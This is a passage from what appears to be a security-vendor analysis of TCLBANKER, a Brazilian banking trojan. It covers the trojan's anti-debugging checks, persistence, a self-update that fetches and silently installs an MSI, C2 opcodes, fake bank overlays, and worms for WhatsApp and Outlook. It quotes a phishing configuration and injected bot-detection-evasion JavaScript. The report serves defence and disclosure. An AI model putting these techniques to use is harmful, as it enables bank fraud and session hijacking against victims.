<p>After these sets of checks, TCLBANKER will either bail out of execution if anything is detected or, if not, produce another anti-debugging check by patching <code>DbgUiRemoteBreakin()</code>. The malware patches its first byte to <code>a ret</code> instruction so that any attempt to remotely break into the process does nothing — the injected thread immediately returns, and the target keeps running, unsuspended.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image18.png" alt="Patching DbgUiRemoteBreakin" title="Patching `DbgUiRemoteBreakin`" /></p>
<p>After this, the malware derives an AES-256 CBC key and IV by using hard-coded constants from the <code>.rdata</code> section along with the environmental hash calculated earlier. TCLBanker uses <code>BCryptDecrypt()</code> to decrypt the embedded payload, then decompresses via <code>RtlDecompressBuffer</code> using the LZNT1 compression algorithm.</p>
<p>Once the respective payload is decrypted, TCLBANKER initializes COM via <code>CoInitializeEx()</code> and uses the CLR hosting APIs to load the .NET runtime in-process. Before launching the payload entry point, TCLBanker creates two new threads: one serves as the watchdog, and the other monitors the watchdog thread as a heartbeat check.</p>
<h2>Watchdog</h2>
<p>TCLBANKER has a comprehensive watchdog feature that targets various analysis tools, including disassemblers, debuggers, instrumentation products, anti-virus products, and sandbox products. This section will outline the various techniques used by this feature:</p>
<ul>
<li>Debugger check via <code>PEB→BeingDebugged</code></li>
<li>Watches for hardware breakpoints <code>DR0</code>/<code>DR1</code>/<code>DR2</code>/<code>DR3</code></li>
<li>Checks Windows functions (<code>BCryptDecrypt()</code>, <code>BCryptOpenAlgorithmProvider()</code>) for in-line hooks by scanning the first 12 bytes of each function</li>
<li>Monitors for instrumentation tools and related strings (<code>frida</code>, <code>cydia</code>, <code>user-path injection</code>, <code>hook framework</code>)</li>
<li>Reviews all kernel named pipes searching for <code>frida</code> or <code>linjector</code></li>
<li>Performs process enumeration via <code>CreateToolhelp32Snapshot()</code> targeting the following process names:
<ul>
<li><code>frida</code>, <code>de4dot</code>, <code>dnspy</code>, <code>megadumper</code>, <code>extremedumper</code>, <code>processhacker</code>, <code>x64dbg</code>, <code>x32dbg</code>, <code>pe-sieve</code>, <code>scylla</code>, <code>Ilspy</code>, <code>dotpeek</code>, <code>netreactorslayer</code>, <code>cheatengine</code></li>
</ul>
</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image1.png" alt="Targeted process names decrypted by TCLBANKER" title="Targeted process names decrypted by TCLBANKER" /></p>
<ul>
<li>Employs Windows title detection via <code>GetWindowTextW()</code> with these titles:
<ul>
<li><code>x64dbg</code>, <code>x32dbg</code>, <code>ida -</code>, <code>ida pro</code>, <code>ghidra</code>, <code>dnspy</code>, <code>megadumper</code>, <code>extremedumper</code>, <code>processhacker</code>, <code>ollydbg</code>, <code>windbg)_</code>, <code>pe_sieve</code>, <code>scylla</code></li>
</ul>
</li>
<li>Identifies analyst tooling based on the following window class names via <code>FindWindowW()</code>:
<ul>
<li><code>IDATopLevelWindow</code>, <code>idaabortwndclass</code>, <code>TIdaWindow</code>, <code>x64dbg</code>, <code>x32dbg</code>, <code>OLLYDBG</code>, <code>WinDbgFrameClass</code>, <code>ProcessHacker</code>, <code>SystemInformer</code>, <code>CheatEngine</code>, <code>HxdClass</code></li>
</ul>
</li>
<li>Checks for the following loaded modules
<ul>
<li><code>dbeng.dll</code>, <code>dbgcore.dll</code>, <code>SbieDll.dll</code>, <code>snxhk.dll</code>, <code>cmdvrt32.dll</code>, <code>cmdvrt64.dll</code>, <code>cuckoomon.dll</code>, <code>pstorec.dll</code>, <code>vmcheck.dll</code>, <code>wpespy.dll</code></li>
</ul>
</li>
<li>Targets the following mutexes and events:
<ul>
<li><code>Ida_trusted_idbs</code>, <code>IDA_COMM_PIPE_</code>, <code>Local\\x64dbg</code>, <code>Local\\x32dbg</code>, <code>Frida</code>, <code>YOURAPPNAMEHERE</code></li>
</ul>
</li>
<li>Performs <code>CRC32</code> integrity check on the <code>.text</code> section to prevent any tampering</li>
</ul>
<h2>Banking Trojan Module</h2>
<p><code>Tcl.Agent</code> is a banking trojan, the main component of the chain. It is .NET Reactor-protected, and although we failed to deobfuscate it using available open-source tooling such as de4dot and NETReactorSlayer, we managed to statically deobfuscate this stage up to a satisfiable state using a custom deobfuscation pipeline to tackle .NET Reactor’s string encryption, control flow flattening, IL mutation, delegate proxies, and encrypted method bodies (Necrobit). Although it is a new malware, much of the code structure still follows ESET’s LATAM banking trojan <a href="https://web-assets.esetstatic.com/wls/2020/09/ESET_LATAM_financial_cybercrime.pdf">implementation blueprint</a>, published in 2020.</p>
<p>At start, the malware performs geofencing, requiring &gt;= 2 of the following indicators to match Brazil; otherwise, it exits immediately if not on a Brazilian machine:</p>
<table>
<thead>
<tr>
<th align="left">Check</th>
<th align="left">Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Region Code</td>
<td align="left">new RegionInfo(CultureInfo.CurrentCulture.LCID).TwoLetterISORegionName == &quot;BR&quot;</td>
</tr>
<tr>
<td align="left">Timezone</td>
<td align="left">TimeZoneInfo.Local.BaseUtcOffset.TotalHours: if &gt;= -5.0, check if == -2.0</td>
</tr>
<tr>
<td align="left">LCID</td>
<td align="left">CultureInfo.CurrentCulture.LCID == 1046 (Portuguese-Brazil)</td>
</tr>
<tr>
<td align="left">Keyboard</td>
<td align="left">GetKeyboardLayoutList() - check each layout: (ToInt32() &amp; 0xFFFF) == 1046</td>
</tr>
</tbody>
</table>
<h2>Installation and Persistence</h2>
<p>On the first run, the malware copies the entire application directory into <code>%LocalAppData%\LogiAI</code>. It computes a SHA-256 hash over all <code>.dll</code> and <code>.exe</code> files in the source directory and writes it to a <code>.version</code> marker file. On subsequent runs, it compares hashes to skip redundant copies. After copying, it launches the new instance from the install path and exits.</p>
<p>It creates a scheduled task named <code>RuntimeOptimizeService</code> using COM interop with the Task Scheduler (<code>CLSID 0F87369F-A4E5-4CFC-BD3E-73E6154572DD</code>). The task is configured as hidden, enabled, with no execution time limit, allowed on battery, start-when-available, and fires on a logon trigger (<code>type 9</code>) scoped to the current user. It registers with <code>TASK_CREATE_OR_UPDATE</code> and <code>TASK_LOGON_SERVICE_ACCOUNT</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image12.png" alt="Register task for persistence" title="Register task for persistence" /></p>
<p>After persistence is established, the agent sends a first-run POST beacon to <code>https://campanha1-api.ef971a42.workers[.]dev/api/installs</code> with the agentId (<code>MachineName-UserName</code>), MachineName, UserName (redundant), and the OS version. The request is authenticated with a hardcoded campaign authentication token <code>0d21613a-2609-45fc-83ff-d0feaa0c891f</code>. The newer variant adds debug logging around this call (<code>C:\temp\tcl-debug.txt</code>), a developer artifact that inadvertently exposes agent presence on disk.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image22.png" alt="Initial beacon to indicate successful installation" title="Initial beacon to indicate successful installation" /></p>
<h2>Self-Update</h2>
<p>The agent implements a hash-based self-update gate that runs early in the startup pipeline. It reads a local version hash from <code>flutter_engine.cfg</code> in its install directory (migrating from a legacy <code>version.hash</code> filename if present), then fetches the current hash from the file server endpoint <code>documents.ef971a42.workers[.]dev/api/version</code> using a truncated User-Agent string <code>(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36</code>.</p>
<p>The response is parsed for the &quot;hash&quot; key. If the remote hash matches the local hash, execution continues normally. On first install, the remote hash is written to disk, and execution proceeds without updating.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image6.png" alt="Self-update hash check against the file server" title="Self-update hash check against the file server" /></p>
<p>When a hash mismatch is detected, the agent downloads the update payload from <code>documents.ef971a42.workers[.]dev/api/update</code> as an MSI to <code>%TEMP%\update_{8hexchars}.msi</code>, authenticated with Bearer token <code>b7ba9e80-0d04-4d9e-b217-c8b3cce335a2</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image3.png" alt="Download updated payload" title="Download updated payload" /></p>
<p>The download is validated against a 100KB minimum size as a sanity check. The agent then writes a self-deleting batch script to <code>%TEMP%</code> that polls the tasklist until the current process exits, executes <code>msiexec /i /qn REINSTALLMODE=amus</code> for silent installation, and deletes itself. The batch file is launched via a hidden <code>cmd.exe</code> process before the agent terminates, handing off execution to the updated payload.</p>
<h2>Browser URL Monitor and C2 Session Initialization</h2>
<p>Every second, the malware agent calls a browser URL monitor function that reads the foreground browser's address bar via <a href="https://learn.microsoft.com/en-us/dotnet/framework/ui-automation/ui-automation-overview">UI Automation</a>. It calls <code>GetForegroundWindow</code>, resolves the owning process, checks the process name against Chrome, Firefox, Microsoft Edge, Brave, Opera, and Vivaldi, then uses <code>AutomationElement.FromHandle -&gt; FindFirst(Descendants, ControlType.Edit) -&gt; ValuePattern.Current.Value</code> to extract the URL, similar to this Stack Overflow <a href="https://stackoverflow.com/questions/5317642/retrieve-current-url-from-c-sharp-windows-forms-application/5318791#5318791">implementation</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image7.png" alt="Browser URL monitor via UI Automation" title="Browser URL monitor via UI Automation" /></p>
<p>The extracted URL is matched against a fixed list of targeted banks embedded in the binary, encoded via XOR with a 16-byte key and base64 encoding.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image31.png" alt="Encrypted bank/fintech/crypto domains" title="Encrypted bank/fintech/crypto domains" /></p>
<p>This <a href="https://gist.github.com/jiayuchann/e298effb68bd472c9e577a630d0ceb20">GitHub Gist</a> contains a list of 59 targeted domains, including Brazilian banking, fintech platforms, and cryptocurrency exchanges, grouped by the target IDs appended to each decrypted domain.</p>
<p>When a match hits, the domain target ID is passed to the next state, which initializes the official C2 communication by establishing a WebSocket connection to <code>wss://mxtestacionamentos[.]com/ws</code>. The <code>OnConnect</code> handler fires, sending a registration packet containing the agent ID (a random GUID at runtime), MachineName, UserName, machine info, timestamp, domain target ID (so the C2 knows which website the victim opened), and a signature.</p>
<p>To produce a handshake signature, HMAC-SHA256 is used to sign the victim identifier (agent ID, MachineName, UserName, OSVersion, timestamp) using the campaign GUID <code>70e4f943-e323-4484-97d7-35401bf6812c</code> as the key.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image27.png" alt="Signature generation for the session initialization handshake" title="Signature generation for the session initialization handshake" /></p>
<p>The server then responds with a registration acknowledgment, officially starting the session, and enters the command dispatch loop. At session start, a Task Manager killer is fired every 500ms to prevent the victim from inspecting or terminating the agent's process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image24.png" alt="Killing Task Manager" title="Killing Task Manager" /></p>
<h2>C2 Command Table</h2>
<p>A capability summarization is described through the opcode table below:</p>
<table>
<thead>
<tr>
<th align="left">Opcode</th>
<th align="left">Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">2</td>
<td align="left">Registration ACK, start the Task Manager killer</td>
</tr>
<tr>
<td align="left">4</td>
<td align="left">Graceful WebSocket disconnect</td>
</tr>
<tr>
<td align="left">5</td>
<td align="left">Suicide: Kill all sibling processes and exit</td>
</tr>
<tr>
<td align="left">6</td>
<td align="left">Forced reboot (<code>shutdown.exe /r /t 0 /f</code>)</td>
</tr>
<tr>
<td align="left">7</td>
<td align="left">Suicide-then-Uninstall: kill all processes with the same host binary name except itself (siblings) → uninstall → exit</td>
</tr>
<tr>
<td align="left">16</td>
<td align="left">Screenshot</td>
</tr>
<tr>
<td align="left">17</td>
<td align="left">Start streaming the screen</td>
</tr>
<tr>
<td align="left">18</td>
<td align="left">Stop streaming the screen</td>
</tr>
<tr>
<td align="left">19</td>
<td align="left">Set screen capture quality (1-100)</td>
</tr>
<tr>
<td align="left">20</td>
<td align="left">Enumerate monitors</td>
</tr>
<tr>
<td align="left">32</td>
<td align="left">Mouse move (X, Y, MonitorIndex)</td>
</tr>
<tr>
<td align="left">33</td>
<td align="left">Mouse click through overlay: parse <code>{X,Y,Button,MonitorIndex}</code> → translate to absolute desktop coords → find the implant's own overlay window covering that point → punch a 2x2 region hole in the overlay at that pixel → <code>SetCursorPos</code> + <code>SendInput</code> mouse-down/up (which lands on whatever real desktop content is underneath the overlay).</td>
</tr>
<tr>
<td align="left">34</td>
<td align="left">Mouse scroll (Delta, <code>SendInput</code>)</td>
</tr>
<tr>
<td align="left">35</td>
<td align="left">Key tap (KeyCode, <code>SendInput</code>)</td>
</tr>
<tr>
<td align="left">37</td>
<td align="left">Key down (KeyCode, <code>SendInput</code>)</td>
</tr>
<tr>
<td align="left">38</td>
<td align="left">Key up (KeyCode, <code>SendInput</code>)</td>
</tr>
<tr>
<td align="left">39</td>
<td align="left">Start keylogger (<code>WH_KEYBOARD_LL</code> hook)</td>
</tr>
<tr>
<td align="left">40</td>
<td align="left">Flush keylogger, exfil to C2</td>
</tr>
<tr>
<td align="left">41</td>
<td align="left">Clipboard hijack (<code>Clipboard.SetText</code>)</td>
</tr>
<tr>
<td align="left">48</td>
<td align="left">File system directory listing</td>
</tr>
<tr>
<td align="left">65</td>
<td align="left">Get running processes information</td>
</tr>
<tr>
<td align="left">67</td>
<td align="left">Shell command execution (<code>cmd.exe /c</code>)</td>
</tr>
<tr>
<td align="left">80</td>
<td align="left">Enumerate all visible windows</td>
</tr>
<tr>
<td align="left">81</td>
<td align="left">Window manager: Kill process of a window / minimize window / restore window / bring window to foreground / close window / move window to another monitor</td>
</tr>
<tr>
<td align="left">83</td>
<td align="left">Show stall overlay: either progress-steps or fake Windows Update screen</td>
</tr>
<tr>
<td align="left">84</td>
<td align="left">Teardown overlay</td>
</tr>
<tr>
<td align="left">85</td>
<td align="left">Toggle screen capture immunity. Enables/disables <code>WDA_EXCLUDEFROMCAPTURE</code> on all overlay windows to hide them from screen sharing / screenshots.</td>
</tr>
<tr>
<td align="left">86</td>
<td align="left">Refresh overlay content</td>
</tr>
<tr>
<td align="left">87</td>
<td align="left">Show cutout overlay: pin external window inside overlay with visible region cutout</td>
</tr>
<tr>
<td align="left">96</td>
<td align="left">Show credential prompt overlay</td>
</tr>
</tbody>
</table>
<h2>Social Engineering UI Framework</h2>
<p>A more interesting capability of the banking trojan is a <a href="https://learn.microsoft.com/en-us/dotnet/desktop/wpf/overview/">WPF-based</a> full-screen overlay subsystem that orchestrates bank-themed fraud flows during active C2 sessions.</p>
<h3>Overlay Lifecycle</h3>
<p>The overlay manager spawns one full-screen WPF window per monitor. Windows are configured as borderless, topmost, and hidden from the taskbar (<code>WindowStyle.None</code>, <code>Topmost = true</code>, <code>ShowInTaskbar = false</code>), with a custom <code>Closing</code> handle that refuses dismissal until an internal flag is flipped by the operator through the overlay teardown command, preventing the windows from being closed.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image16.png" alt="Social engineering overlay settings" title="Social engineering overlay settings" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image5.png" alt="Overlay window close prevention" title="Overlay window close prevention" /></p>
<p>At startup, the manager captures a PNG screenshot of every display via <code>CopyFromScreen</code> as the overlay backdrop, creating a “frozen desktop” look. Depending on the currently active overlay, the victim perceives their real desktop environment behind it.</p>
<p>A <code>500ms</code> timer continuously reapplies <code>HWND_TOPMOST</code> via <code>SetWindowPos</code> to defeat any window attempting to surface above the overlay.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image14.png" alt="Overlay &quot;always on top&quot; setting" title="Overlay &quot;always on top&quot; setting" /></p>
<p>In addition, an anti-capture feature calls <code>SetWindowDisplayAffinity</code> with <code>WDA_EXCLUDEFROMCAPTURE</code>, rendering the overlay invisible to any screen-capturing tools, allowing the operator to see through their own overlay through the screenshot and screenstreaming commands.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image17.png" alt="Disable screen capture to detect overlays" title="Disable screen capture to detect overlays" /></p>
<h3>Input Blocker</h3>
<p>On the primary monitor, two hooks are installed: <code>WH_KEYBOARD_LL</code> and <code>WH_MOUSE_LL</code>. Both hooks check their respective injected flags (<code>LLKHF_INJECTED</code> for keyboard, <code>LLMHF_INJECTED</code> for mouse), allowing input injected via <code>SendInput</code> by the operator’s remote commands to pass through untouched. The keyboard hook swallows Tab, Escape, Alt+F4, Win keys, PrintScreen, Ctrl, Alt, and all navigation keys; the mouse hook blocks right-click, middle-click, and scroll, but allows left-click and movement, so the victim can still interact with the overlay prompts.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image8.png" alt="Input blocker initialization and hook function for blocking mouse input" title="Input blocker initialization and hook function for blocking mouse input" /></p>
<h3>Social Engineering UI Builders</h3>
<p>Five interchangeable content renderers plug into the overlay framework:</p>
<p>Credential Prompt: Supports three input modes, selected based on the operator's request parameters.</p>
<ul>
<li>Phone mode applies real-time Brazilian format masking ((##) ####-#### for 10-digit landlines, (##) #####-#### for 11-digit mobiles) with max 11 digits.</li>
<li>Virtual keypad mode renders an on-screen numeric keypad (buttons 0–9 plus &quot;limpar&quot;/clear), displaying input as bullet characters to mimic PIN entry.</li>
<li>Default mode accepts plain text with a configurable max length.</li>
</ul>
<p>All modes run input through a quality validator that algorithmically rejects same-digit sequences (<code>000000</code>) and ascending/descending runs (<code>123456</code>, <code>654321</code>) to prevent victims from entering throwaway values.</p>
<p>The submit action fires the captured values to the C2.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image21.png" alt="User-entered values for Credential Prompt sent to C2" title="User-entered values for Credential Prompt sent to C2" /></p>
<p>Vishing Wait Screen: Triggers after the victim submits their phone number in the credential prompt. Displays &quot;Estamos entrando em contato&quot; (&quot;We are getting in touch&quot;) with a central image “breathing” animation and three dots with staggered opacity animations (<code>300ms</code> offset per dot) producing a &quot;connecting&quot; visual. The operator or an accomplice can then call the victim's real phone, impersonating bank security staff.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image20.png" alt="Displayed text on Vishing Wait Screen" title="Displayed text on Vishing Wait Screen" /></p>
<p>Progress Steps: A fully operator-templated stall screen displaying a list of fake processing steps with a randomized animation. Step durations are randomized to total approximately 15 minutes. A timer advances through each step sequentially, visually marking completed steps, highlighting the current one, and dimming the remaining ones. When all steps are complete, the sequence resets to an earlier position with new randomized timings and continues.</p>
<p>Fake Windows Update: An alternative stall screen mimicking the Windows 10/11 update-restart screen. Renders a solid <code>#0078D7</code> (Windows accent blue) background with a five-ellipse spinning indicator arranged in a circle. A percentage readout jumps by a random 25–35% at randomly selected 50–81-second intervals to mimic the irregular progress behavior of real Windows Updates. Default subtitle: &quot;Trabalhando em atualizacoes&quot; (&quot;Working on updates&quot;).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image35.png" alt="Windows &quot;Working on Updates&quot; stall overlay" title="Windows &quot;Working on Updates&quot; stall overlay" /></p>
<p>Cutout Overlay: Cuts a rectangular hole in the full-screen overlay, exposing the underlying application window. The operator specifies hole dimensions via opcode 87, in which the overlay manager builds a themed card with a transparent-border placeholder, computes its screen coordinates post-layout, and cuts a matching region hole using <code>CreateRectRgn + CombineRgn(RGN_DIFF) + SetWindowRgn</code>. The target window is repositioned underneath the hole. The result is a real application window framed within the overlay, and the victim interacts with the actual application while the surrounding overlay provides deceptive context.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image34.png" alt="Window Region hole cutting to support Cutout Overlays" title="Window Region hole cutting to support Cutout Overlays" /></p>
<h2>Worm module</h2>
<p>The second module invoked by the loader is <code>Tcl.WppBot</code>, is designed to propagate spam and phishing messages at scale, to distribute TCLBANKER. Two distinct agent types were recovered from two different loaders and analyzed:</p>
<ul>
<li>A WhatsApp worm that hijacks browser sessions</li>
<li>An Outlook email bot that abuses Microsoft Outlook through COM interop</li>
</ul>
<p><code>Tcl.WppBot</code> is also .NET Reactor-protected with the same version used to protect <code>Tcl.Agent</code>, and so we also managed to statically deobfuscate payloads in this stage.</p>
<p>Both agents share the same C2 backend, authentication credentials, and operational infrastructure. The C2 URL and API key are decrypted at startup using XOR decryption with a hardcoded key.</p>
<ul>
<li>C2 URL: <code>campanha1-api.ef971a42.workers[.]dev</code> (Cloudflare Workers app)</li>
<li>API key / Bearer token: <code>0d21613a-2609-45fc-83ff-d0feaa0c891f</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image29.png" alt="Encrypted C2 and API key" title="Encrypted C2 and API key" /></p>
<p>The C2 serves a single superset campaign configuration object via the <code>https://campanha1-api.ef971a42.workers[.]dev/api/campaign</code> endpoint. Each agent variant deserializes the full object but only reads the fields relevant to its channel.</p>
<p>Captured configuration:</p>
<pre><code>message            : Ola tudo bem?
                     Preciso de um orÃ§amento, estarei encaminhado caso tenha os produtos por favor me retorne para
                     darmos continuidade no atendimento.

                     https://arquivos-omie[.]com ð

                     âï¸*IMPORTANTE*: Este orÃ§amento foi otimizado para visualizaÃ§Ã£o em Computadores Desktop,
                     pois o mesmo necessita de visualizador de excel, word ou pdf.
fileUrl            : https://documents.ef971a42.workers[.]dev/file
delayMin           : 1
delayMax           : 3
maxPerSession      : 3000
updatedAt          : 2026-04-17T15:54:07.003Z
type               : gmail
subject            : Prezado(a), NFe disponÃ­vel para impressÃ£o
emailMessage       : &lt;!DOCTYPE html&gt;
                     &lt;html lang=&quot;pt-BR&quot;&gt;
                     &lt;head&gt;
                         &lt;meta charset=&quot;UTF-8&quot;&gt;
                         &lt;title&gt;Nota Fiscal DisponÃ­vel&lt;/title&gt;
                         &lt;style&gt;
                             body {
                                 font-family: Arial, sans-serif;
                                 margin: 20px;
                                 padding: 0;
                                 text-align: center;
                                 background-color: #f4f4f4; /* Cor de fundo mais clara */
                                 color: #333; /* Cor do texto ajustada para ser visÃ­vel */
                             }
                             h1 {
                                 font-size: 24px;
                                 margin-bottom: 20px;
                                 font-weight: normal; /* TÃ­tulo sem negrito */
                             }
                             p {
                                 font-size: 16px;
                                 margin-bottom: 20px;
                                 line-height: 1.6;
                                 color: #333; /* Garantir que o texto esteja visÃ­vel */
                             }
                             .btn {
                                 background-color: #007BFF;
                                 color: #fff;
                                 padding: 10px 20px;
                                 border: none;
                                 border-radius: 5px;
                                 cursor: pointer;
                             }
                             .btn:hover {
                                 background-color: #0056b3;
                             }
                         &lt;/style&gt;
                     &lt;/head&gt;
                     &lt;body&gt;

                         &lt;h1&gt;Prezado(a)&lt;/h1&gt;
                         &lt;p&gt;
                             Sua Nota Fiscal EletrÃ´nica (NFe) estÃ¡ disponÃ­vel e pronta para ser acessada.
                             Para facilitar, basta clicar no botÃ£o abaixo para abrir o documento.
                         &lt;/p&gt;

                         &lt;p&gt;
                             Caso tenha alguma dÃºvida sobre os detalhes da nota ou precise de alguma alteraÃ§Ã£o, por
                     favor, entre em contato conosco.
                         &lt;/p&gt;

                         &lt;a href=&quot;https://arquivos-omie[.]com&quot; target=&quot;_blank&quot;&gt;
                             &lt;button class=&quot;btn&quot;&gt;Abrir Nota Fiscal&lt;/button&gt;
                         &lt;/a&gt;

                         &lt;p&gt;
                             Agradecemos pela confianÃ§a e ficamos Ã  disposiÃ§Ã£o para qualquer outra necessidade.
                         &lt;/p&gt;

                     &lt;/body&gt;
                     &lt;/html&gt;
emailDelayMin      : 30
emailDelayMax      : 90
emailMaxPerSession : 100
</code></pre>
<p>The same Cloudflare account <code>ef971a42</code> also hosts the payload delivery CDN (domain for <code>fileUrl</code> in the configuration object) at <code>documents.ef971a42.workers[.]dev</code>. Accessible through the <code>/file</code> endpoint, it currently serves a zip file containing the TCLBANKER-trojanized LogiAI Prompt Builder MSI. This infrastructure decision allows the operator to rapidly redeploy infrastructure without maintaining dedicated servers.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image38.png" alt="Zip file containing TCLBANKER grabbed from the file server" title="Zip file containing TCLBANKER grabbed from the file server" /></p>
<p>As of the time of writing, the phishing domain <code>arquivos-omie[.]com</code> identified in the configuration above, created on 2026-04-15, is not at an operable state (Welcome! This portal is currently undergoing scheduled maintenance. Please try again later.) The campaign could be in its early operational stages or staged for tasking. This domain is also named to impersonate a popular Brazilian Enterprise Resource Planning (ERP) suite.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image26.png" alt="Phishing page under maintenance" title="Phishing page under maintenance" /></p>
<h2>Agent 1: WhatsApp Bot</h2>
<p>The WhatsApp agent silently takes over the victim’s authenticated WhatsApp Web session to send spam messages and distribute TCLBANKER to Brazilian contacts.</p>
<h3>Session Hijacking</h3>
<p>The malware starts by discovering Chromium-based browsers on the target system, then scanning both the <code>App Paths</code> registry entries and common installation directories for Chrome, Edge, Brave, Opera, and Vivaldi. It then walks each browser's user profiles (e.g., &quot;Default,&quot; &quot;Profile 1,&quot; etc.), looking for evidence of an active WhatsApp Web session. A profile is flagged as having an authenticated session if its IndexedDB storage contains the WhatsApp Web LevelDB directory at <code>&lt;profile_dir&gt;/IndexedDB/https_web.whatsapp[.]com_0.indexeddb.leveldb/</code>.</p>
<p>Then each profile is sent to the profile-cloning and session-hijacking function.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image10.png" alt="WhatsApp Web profile cloning and session hijacking" title="WhatsApp Web profile cloning and session hijacking" /></p>
<p>For each qualifying profile, the malware clones it to a temporary directory at <code>%TEMP%\&lt;GUID&gt;\</code>, copying only the files needed to resume the WhatsApp Web session: <code>IndexedDB</code>, <code>Local Storage</code>, <code>Session Storage</code>, <code>databases</code>, <code>Web Data</code>, <code>Login Data</code>, and <code>Cookies</code>. It then launches a headless Chromium instance via Selenium WebDriver, with <code>--user-data-dir</code> pointing at the cloned profile.</p>
<p>The matching <code>chromedriver.exe</code> is resolved at runtime by a disguised Selenium Manager binary dropped at <code>%TEMP%\msvc-rt14\bin\hostfxr.exe</code>, which is invoked with <code>--browser chrome --output json</code> and returns the path of a chromedriver compatible with the victim's installed Chrome version.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image36.png" alt="Chromedriver path resolved" title="Chromedriver path resolved" /></p>
<p>Immediately after launch, the malware injects JavaScript to bypass bot-detection frameworks by hiding <code>navigator.webdriver</code>, populates <code>chrome.runtime</code>, reconciles the <code>Notification.permission</code> / <code>permissions.query</code> state mismatch, fakes a non-empty <code>navigator.plugins</code> array, and sets <code>navigator.languages</code> to <code>['pt-BR', 'pt', 'en-US', 'en']</code> to match the target demographic.</p>
<pre><code>Object.defineProperty(navigator, 'webdriver', {
    get: () = &gt; undefined 
}

);
delete navigator.__proto__.webdriver;
if (window.chrome)  {
    window.chrome.runtime = window.chrome.runtime || {};
}

const origQuery = window.navigator.permissions.query;
window.navigator.permissions.query = (p) = &gt; (
p.name ==  = 'notifications' ?
Promise.resolve( {
    state: Notification.permission 
}

) :
origQuery(p)
);
Object.defineProperty(navigator, 'plugins', {
    get: () = &gt; [1, 2, 3, 4, 5], }

);
Object.defineProperty(navigator, 'languages', {
    get: () = &gt; ['pt-BR', 'pt', 'en-US', 'en'], }

);
window.navigator.chrome = {
    runtime: {}

};
</code></pre>
<p>With the cloned profile loaded, the browser navigates to <code>web.whatsapp[.]com</code>, and the malware waits up to 45 seconds to observe the resulting page state. If the chat interface appears (the cloned IndexedDB was valid and the session resumed without a QR scan), it injects an embedded WA-JS (<a href="https://github.com/wppconnect-team/wppconnect">WPPConnect</a>) library and waits for <code>WPP.contact.list</code> and <code>WPP.chat.sendTextMessage</code> to become callable before starting the campaign dispatch loop. If the QR code prompt is shown instead, the engine returns <code>&quot;qr_code&quot;</code> without attempting injection, then tries the next candidate profile.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image23.png" alt="Attempt to load WhatsApp session that does not require QR code verification" title="Attempt to load WhatsApp session that does not require QR code verification" /></p>
<h3>Spam Functionality</h3>
<p>Once the injection succeeds, the malware retrieves the active campaign from the C2 endpoint <code>https://campanha1-api.ef971a42.workers[.]dev/api/campaign</code>, which supplies the message body, optional attachment URL, caption, and timing parameters. TCLBANKER is then downloaded from the file server at <code>https://documents.ef971a42.workers[.]dev/file</code> and reconstructed in the browser context as a <a href="https://developer.mozilla.org/en-US/docs/Web/API/File/File">File object</a>, without being dropped to disk.</p>
<p>The malware then calls <code>WPP.contact.list</code> to harvest the victim's address book, filters out groups, broadcasts, and non-Brazilian numbers, and begins dispatching messages through <code>WPP.chat.sendTextMessage</code> and <code>sendFileMessage</code>. The malware reports progress to the C2 endpoint <code>/api/progress</code> after each batch, and polls <code>/api/control</code> for remote pause or resend commands from the operator.</p>
<h2>Agent 2: Outlook Email Bot</h2>
<p>The Outlook agent is an email spambot that abuses the victim’s installed Microsoft Outlook application to send phishing emails from the victim’s email address, making them harder to detect as spam than emails sent from attacker-controlled infrastructure.</p>
<h3>Outlook Discovery &amp; COM Attachment</h3>
<p>If <code>OUTLOOK.EXE</code> is not already running, it attempts to locate the installation in <code>App Paths</code> registry entries and known installation directories and launches it in a new process. The malware then attaches to the process via COM interop: <a href="https://learn.microsoft.com/en-us/office/vba/outlook/how-to/security/obtain-and-log-on-to-an-instance-of-outlook"><code>Marshal.GetActiveObject(&quot;Outlook.Application&quot;)</code></a>, and validates that it has at least one email account configured.</p>
